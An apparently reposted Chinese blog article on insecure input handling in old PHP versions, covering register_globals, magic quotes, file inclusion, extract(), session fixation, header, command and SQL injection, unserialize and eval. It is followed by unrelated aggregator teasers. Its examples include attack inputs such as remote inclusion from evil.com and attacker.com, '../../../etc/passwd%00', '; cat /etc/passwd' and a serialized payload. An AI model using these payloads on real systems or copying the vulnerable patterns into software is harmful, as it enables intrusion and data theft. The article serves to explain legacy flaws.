news 2026/6/10 18:06:46

php低版本非法传参机制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
php低版本非法传参机制

1.全局变量自动注册

register_globals = On(PHP 4.2.0前默认开启,PHP 5.4.0移除):

// URL: index.php?is_admin=1 if ($is_admin) { // 直接访问URL参数 grant_admin_privileges(); } // 攻击者可直接传入?is_admin=1获得管理员权限

安全影响

  • 任何GET/POST/COOKIE参数都会自动成为全局变量

  • 变量覆盖攻击

  • 权限绕过

2.未过滤的输入

未使用过滤函数(PHP 5.2前):

// PHP 4.x 常见写法 $username = $_GET['username']; // 直接使用 $sql = "SELECT * FROM users WHERE username='$username'"; // SQL注入:username=' OR '1'='1

问题

  • filter_var()mysqli_real_escape_string()强制使用

  • 魔术引号(magic_quotes_gpc)的伪安全


3.魔术引号(Magic Quotes)

magic_quotes_gpc = On(PHP 5.4.0移除):

// 自动转义:' -> \', " -> \", \ -> \\ $input = $_GET['input']; // 自动转义 echo $input; // 显示原始内容,但数据库已转义

问题

  • 虚假安全感,开发者以为已安全

  • 双重转义:O\'Reilly

  • 破坏二进制数据


4.文件包含路径穿越

allow_url_include = On(PHP 5.2前默认):

// PHP 4.x/5.x include($_GET['page'] . '.php'); // 攻击:?page=http://evil.com/shell // 或 ?page=../../../etc/passwd%00

漏洞利用

// 远程文件包含 include("http://attacker.com/shell.txt"); // 本地文件包含 + null字节截断 include($_GET['file'] . '.php'); // ?file=../../../etc/passwd%00

5. 可变量变量

可变变量滥用:

// 从用户输入控制变量名 $_ = $_GET['action']; $$_ = $_GET['value']; // 攻击:?action=config&value=HACKED // 结果:$config = "HACKED"

extract()危险使用

// 将数组键名转为变量 extract($_GET); // 攻击:?is_admin=1&logged_in=1 // 覆盖已有变量

6.Session安全问题

session.use_trans_sid = 1(自动在URL中添加session id):

// URL自动包含PHPSESSID <a href="page.php">链接</a> // 生成:<a href="page.php?PHPSESSID=abc123">链接</a>

session固定攻击

// 低版本可预测session id session_id($_GET['sessid']); // 攻击者指定session id session_start();

7.HTTP头部注入

header()不验证输入

// PHP 5.1.x $redirect = $_GET['redirect']; header("Location: " . $redirect); // 攻击:?redirect=http://evil.com\r\nSet-Cookie: admin=1

8.命令注入

危险函数未过滤

// PHP 4.x常见代码 $cmd = "ping " . $_GET['ip']; system($cmd); // 攻击:127.0.0.1; cat /etc/passwd

相关函数:

  • system(),exec(),shell_exec()

  • passthru(),popen(),proc_open()

  • 反引号(`command`


9.反序列化漏洞

PHP 5.x的__wakeup()问题

class Example { public $data; public function __wakeup() { system($this->data); // 危险 } } $obj = unserialize($_GET['data']); // 攻击:data=O:7:"Example":1:{s:4:"data";s:9:"cat /etc/passwd";}

10.危险配置组合

php.ini危险配置

; PHP 4.x/5.x典型危险配置 register_globals = On allow_url_fopen = On allow_url_include = On safe_mode = Off display_errors = On

11.常见漏洞模式

模式1:直接包含动态文件

// file.php $page = $_GET['page']; include($page . '.php'); // LFI:?page=../../../../etc/passwd%00 // RFI:?page=http://evil.com/shell.txt

模式2:未验证数组键存在

// PHP 4.x常见 $id = $HTTP_GET_VARS['id']; // 超全局数组 if ($id) { // 可能为0 // ... }

模式3:eval()动态代码

$code = $_GET['code']; eval($code); // 直接执行任意代码

关键历史版本变化

  • PHP 4.2.0register_globals默认关闭

  • PHP 5.3.0:弃用magic_quotes_gpc

  • PHP 5.4.0:移除register_globalsmagic_quotes_gpc

  • PHP 5.6.0:默认default_charset = UTF-8

  • PHP 7.0.0:移除mysql_*函数

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 15:32:06

java+vue+springboot毕业设计任务书大学学籍系统开题报告

目录系统背景与意义技术选型依据系统功能模块创新点与特色开发计划与进度安排预期成果项目技术支持可定制开发之功能亮点源码获取详细视频演示 &#xff1a;文章底部获取博主联系方式&#xff01;同行可合作系统背景与意义 大学学籍管理系统是高校信息化建设的重要组成部分&am…

作者头像 李华
网站建设 2026/6/10 11:48:01

开题报告qq信管黄莹

目录开题报告的基本结构QQ在信息管理中的应用黄莹相关研究的可能方向撰写建议注意事项项目技术支持可定制开发之功能亮点源码获取详细视频演示 &#xff1a;文章底部获取博主联系方式&#xff01;同行可合作开题报告的基本结构 开题报告通常包括研究背景、研究意义、国内外研究…

作者头像 李华
网站建设 2026/6/10 1:06:07

从零构建 MCP Server:协议原理 + 完整实战

🚀 从零构建 MCP Server:协议原理 + 完整实战 一篇真正写给后端 / 架构 / AI 工程师的 MCP 深度实战指南 不是“会用”,而是“知道它为什么这样设计” 写在前面:为什么你必须认真了解 MCP? 过去一年,大模型真正的瓶颈已经不在「推理能力」,而在于: ❌ 无法访问实时数…

作者头像 李华
网站建设 2026/6/10 11:50:23

从蜜蜂导航到无人机自主飞行:基于ZYNQ的仿生偏振导航系统全解析

当蜜蜂在阴天也能准确找到回巢路线时,它们依靠的不是记忆,而是天空中人类看不见的“罗盘”——偏振光。今天,我们将揭秘如何用ZYNQ芯片模仿这一神奇能力,构建一个实时偏振导航系统。 一、自然界的神奇导航与科技困境 夏日的午后,一只蜜蜂在采集花蜜后,即使天空被云层覆盖…

作者头像 李华
网站建设 2026/6/9 20:53:12

MySQL 索引详解:从原理到实战优化

目录 前言 一、索引是什么&#xff1f;核心价值何在 1. 索引的本质 2. 索引的核心作用 3. 索引的缺点 二、索引结构&#xff1a;为什么 InnoDB 偏爱 BTree&#xff1f; 1. 常见索引结构对比 2. InnoDB 选择 BTree 的核心原因 3. 哈希索引补充说明 三、索引分类&#x…

作者头像 李华